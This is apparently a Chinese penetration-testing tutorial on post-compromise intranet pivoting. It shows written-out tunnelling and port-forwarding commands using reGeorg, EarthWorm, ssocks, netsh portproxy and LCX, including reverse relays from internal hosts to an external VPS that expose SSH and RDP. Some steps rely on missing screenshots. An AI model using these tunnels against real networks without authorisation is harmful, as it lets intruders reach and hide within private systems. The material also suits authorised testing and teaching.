内网渗透-端口转发
目錄
內網轉發
reGeorg結合proxychains代理鏈(HTTP隧道)
?EW(EarthWorm)結合proxychains代理鏈
EW正向代理
EW反向代理
Ssocks正向代理(Linux)?
Netsh實現端口轉發
Netsh實現SSH到內網主機(遠程端口轉發)
Netsh實現3389到內網主機(遠程端口轉發)
Netsh實現本地端口轉發
LCX實現端口轉發
LCX實現本地端口轉發(Windows的場景)
LCX實現本地端口轉發(Linux的場景)
LCX實現SSH到內網主機(公網服務器是Windows)
LCX實現SSH到內網主機(公網服務器是Linux)
LCX實現3389到內網主機(公網服務器是Windows)
LCX實現3389到內網主機(公網服務器是Linux)
內網轉發
在滲透測試中,當我們獲得了外網服務器(如web服務器,ftp服務器,mali服務器等等)的一定權限后發現這臺服務器可以直接或者間接的訪問內網。此時滲透測試進入后滲透階段,一般情況下,內網中的其他機器是不允許外網機器訪問的。這時候,我們可以通過?端口轉發(隧道)?或將這臺外網服務器設置成為?代理,使得我們自己的攻擊機可以直接訪問與操作內網中的其他機器。實現這一過程的手段就叫做內網轉發。
那又有很多人會問了,為什么不直接通過登陸服務器來對內網中其他機器進行滲透,而是通過內網轉發呢??
大部分時候我們獲取到的服務器的權限不夠,無法直接登錄。 如果直接登錄服務器中進行操作,我們需要上傳工具進行很多操作,如果服務器缺少對應的環境變量或者組件,會導致滲透受阻。?而且遠程登錄會留下比較明顯的痕跡 ,因此內網轉發是我們最好的選擇,在本地進行操作是最方便的。
常見內網轉發工具的分類:
按照協議進行分類,可以分為:Socks協議?和?Socket協議?
按照工具工作原理分類分為: 端口轉發類(隧道)?和?web代理類
常見的端口轉發工具不限于下面這些,還有很多好用的比如:Tunna、reDuh等。傳送門——>?淺談內網端口轉發
reGeorg結合proxychains代理鏈(HTTP隧道)
reGeory適用于公網服務器只開放了80端口的情況。
reGeorg是用 python 寫的利用Web進行代理的工具,流量只通過 http 傳輸,也就是http隧道。
現在有這么一個環境,我們獲取到了位于公網Web服務器的權限,或者我們擁有可以往公網Web服務器web目錄下上傳任何文件的權限,但是該服務器開啟了防火墻,只開放了80端口。內網中存在另外一臺主機,這里假設內網存在一臺Web服務器。然后,我們現在要將公網Web服務器設置為代理,通過公網服務器的80端口,訪問和探測內網Web服務器的信息。
根據公網服務器網站是哪種腳本類型上傳哪種類型的腳本,這里我搭建的是php環境,所以上傳php腳本
然后,我們在瀏覽器訪問我們上傳的 php 腳本,上傳路徑我們一定得知道,這里我直接上傳到網站根目錄了。如果看到下面的Georg says, 'All?seems?fine' 表示一切正常!?
然后我們在攻擊機上執行如下語句
?
?如圖,可以看到我們已經可以訪問內網的Web服務器。那么,我們就可以進一步滲透了!?
這里需要主要,使用nmap程序時應該注意的點
?EW(EarthWorm)結合proxychains代理鏈
EW 是一套便攜式的網絡穿透工具,具有 SOCKS5服務架設和端口轉發兩大核心功能,可在復雜網絡環境下完成網絡穿透。該工具能夠以“正向”、“反向”、“多級級聯”等方式打通一條網絡隧道,直達網絡深處,用蚯蚓獨有的手段突破網絡限制,給防火墻松土。工具包中提供了多種可執行文件,以適用不同的操作系統,Linux、Windows、MacOS、Arm-Linux 均被包括其內,強烈推薦使用,跨平臺,任何平臺都可以輕松使用!
現在有這么一個環境,我們獲取到了位于公網Web服務器的權限,內網中存在另外一臺主機,這里假設內網存在一臺Web服務器。然后,我們現在要將公網Web服務器設置為代理,訪問和探測內網Web服務器的信息。
不管是linux還是windows系統,Earthworm的包都是一個,如圖上面。直接進入包里面,選擇對應的程序即可執行
EW正向代理
Web服務器的設置
我們主機的設置
EW反向代理
Web服務器的設置
我們主機的設置
Ssocks正向代理(Linux)
Ssocks是Linux下一款socks代理工具套裝,可用來開啟socks代理服務,Ssocks支持socks5驗證,支持ipv6和UP,并提供反向socks代理服務。但是由于Ssocks不穩定,所以不建議使用。
現在有這么一個環境,我們獲取到了位于公網Web服務器的shell,該web服務器是Linux系統,內網中存在另外一臺主機,這里假設內網存在一臺Web服務器。然后,我們現在要將公網Web服務器設置為代理,訪問和探測內網Web服務器的信息。
首先,我們的主機和公網的Web服務器都得安裝上Ssocks。
安裝Ssocks的話,直接安裝包安裝,軟件會被安裝在 /usr/local/bin目錄下,所以我們得去該目錄執行命令。
正向代理?
Web服務器的操作
./rssocks -vv -s 100.100.10.13:9999 #接收100.100.10.13的9999端口的流量我們主機的操作
如果這里我們的主機是Windows系統的話,Windows系統下也有很多代理工具,比如 Proxifier 、sockscap64
Netsh實現端口轉發
Netsh 是Windows自帶的命令行腳本工具,它可以建立端口映射。
現在有這么一個環境,內網中有一臺Web服務器,但是我們處于公網,所以無法訪問該服務器。于是,我們可以在中間Web服務器上利用Netsh實現一個端口映射,只要我們訪問中間Web服務器公網地址的指定端口,就相當于我們訪問內網Web服務器的80端口。
中間Web服務器的配置
那么,我們通過訪問Web服務器的公網地址的8080端口就可以訪問內網中的Web服務器了。
Netsh實現SSH到內網主機(遠程端口轉發)
現在我們有這么一個環境,我們獲得了公網服務器的權限,并且通過公網服務器進一步的內網滲透,得到了內網主機的權限。拓撲圖如下。
于是,我們還可以利用windows自帶的Netsh來進行22端口的轉發。
在公網windows服務器上的操作
netsh interface portproxy add v4tov4 listenaddress=100.100.10.14 listenport=2222 connectaddress=192.168.10.129 connectport=22 #監聽100.100.10.14的2222端口,映射到192.168.10.129 的22端口上所以,我們ssh連接到公網服務器的2222端口即可
Netsh實現3389到內網主機(遠程端口轉發)
現在我們有這么一個環境,我們獲得了公網服務器的權限,并且通過公網服務器進一步的內網滲透,得到了內網主機的權限。拓撲圖如下。
于是,我們還可以利用Windows自帶的Netsh來進行3389端口的映射。
在公網windows服務器上的操作
netsh interface portproxy add v4tov4 listenaddress=100.100.10.14 listenport=3340 connectaddress=192.168.10.152 connectport=3389于是,我們遠程3389連接公網服務器100.100.10.14的3340端口?
Netsh實現本地端口轉發
現在我們有這么一個環境,我們獲得了公網服務器的權限,并且獲得了該服務器的賬號密碼。該服務器的3389端口也開放著,但是只對內開放,所以我們現在就需要做本地端口映射,將3389端口的流量映射到其他端口。
該服務器的操作
netsh interface portproxy add v4tov4 listenaddress=192.168.10.15 listenport=13389 connectaddress=192.168.10.15 connectport=3389只需要遠程連接該主機的13389端口即可
LCX實現端口轉發
Lcx是基于socket套接字實現的端口轉發工具,有Windows和Linux版本。
現在有這么一個環境,內網中有一臺Web服務器,但是我們處于公網,所以無法訪問該服務器。于是,我們可以在中間Web服務器上利用LCX進行端口轉發,將公網Web服務器的8080端口流量轉發到內網Web主機的80端口上,那么我們訪問公網Web服務器的8080端口就相當于訪問內網Web服務器的80端口。
公網web服務器的配置?
lcx.exe -tran 8080 192.168.10.19 80 #將本地的8080端口流量轉發到192.168.10.19的80端口上當我們訪問公網服務器的8080端口時,就相當于訪問內網服務器的80端口?
LCX實現本地端口轉發(Windows的場景)
我們現在拿到了一臺主機的賬號、密碼和權限,現在想遠程RDP連接該主機,該主機的3389端口只對內開放,不對外開放。所以,我們可以利用lcx進行本地端口的轉發。將3389的流量轉到33389端口上。
目標機的操作,將3389端口的流量轉發給33389端口。
lcx.exe -tran 33389 127.0.0.1 3389只需要遠程連接目標主機的33389端口即可。
LCX實現本地端口轉發(Linux的場景)
我們現在拿到了一臺主機的賬號、密碼和權限,現在想遠程SSH連接該主機,該主機的22端口只對內開放,不對外開放。所以,我們可以利用lcx進行本地端口的轉發。將2222的流量轉到22端口上。
目標機的操作,將2222端口的流量都轉發到22端口上
只需要遠程連接目標主機的2222端口即可。
LCX實現SSH到內網主機(公網服務器是Windows)
現在我們有這么一個環境,我們獲得了公網服務器的權限,并且通過公網服務器進一步的內網滲透,得到了內網主機的權限。拓撲圖如下。
于是,我們還可以利用lcx來進行22端口的轉發。
在公網windows服務器上的操作
lcx.exe -tran 2222 192.168.10.129 22 #意思就是將本地2222端口轉發給192.168.10.129主機的22號端口所以,我們ssh連接到公網服務器的2222端口即可
LCX實現SSH到內網主機(公網服務器是Linux)
首先,在VPS上進行下面操作。監聽 2222 的流量,將其轉發給 22222 端口。相當于正向代理
./lcx -m 2 -p1 22222 -h2 127.0.0.1 -p2 2222 #將本地2222端口的流量給本地的22222端口在內網主機上操作,將22端口的流量轉發到VPS(114.118.80.138)的22222端口。相當于反向代理
./lcx -m 3 -h1 127.0.0.1 -p1 22 -h2 114.118.80.138 -p2 22222 #將本地22端口的流量給114.118.80.138的22222端口我們連接VPS的2222端口,就相當于連接了內網主機的22端口。
ssh root@114.118.80.138 2222 #連接到114.118.80.138的2222端口LCX實現3389到內網主機(公網服務器是Windows)
現在我們有這么一個環境,我們獲得了公網Windows服務器的權限,并且通過公網服務器進一步的內網滲透,得到了內網Linux主機的權限。拓撲圖如下。我們現在想SSH到內網Linux主機。
于是,我們還可以利用lcx來進行3389端口的轉發。
在公網windows服務器上的操作
lcx.exe -tran 3340 192.168.10.18 3389 #意思就是將本地的3340端口的流量轉發給192.168.10.18主機的3389端口于是,我們遠程連接公網服務器100.100.10.14的3340端口
LCX實現3389到內網主機(公網服務器是Linux)
現在我們有這么一個環境,我們獲得了公網Linux服務器的權限,并且通過公網服務器進一步的內網滲透,得到了內網Windows主機的權限。拓撲圖如下。現在我們想3389連接到內網Windows服務器。
在公網Linux服務器上的操作
./lcx -m 2 -p1 23389 -h2 127.0.0.1 -p2 13389 #監聽本地23389的流量轉發給本地的13389端口,正向代理在內網Windows服務器上的操作
lcx.exe -slave 192.168.10.20 13389 127.0.0.1 3389 #將本地3389端口的流量都轉發給192.168.10.20,反向代理遠程連接公網服務器的23389端口即可
?
?
?
相關文章: 內網全局代理工具及特征分析
? ? ? ? ? ? ? ? ? ?Socket套接字和Sockes協議
? ? ? ? ? ? ? ? ? ?正向代理和反向代理
? ? ? ? ? ? ? ? ? ?端口轉發和端口映射
? ? ? ? ? ? ? ? ? ?內網穿透
? ? ? ? ? ? ? ? ? ?SSH反向隧道
本文相關軟件:?https://pan.baidu.com/s/1Fd9D6BrkTrTTy9Ko1MHrfw? ? 提取碼: ixgi
?
總結
- 上一篇: 内网渗透-域内有网和无网
- 下一篇: 内网渗透-路由添加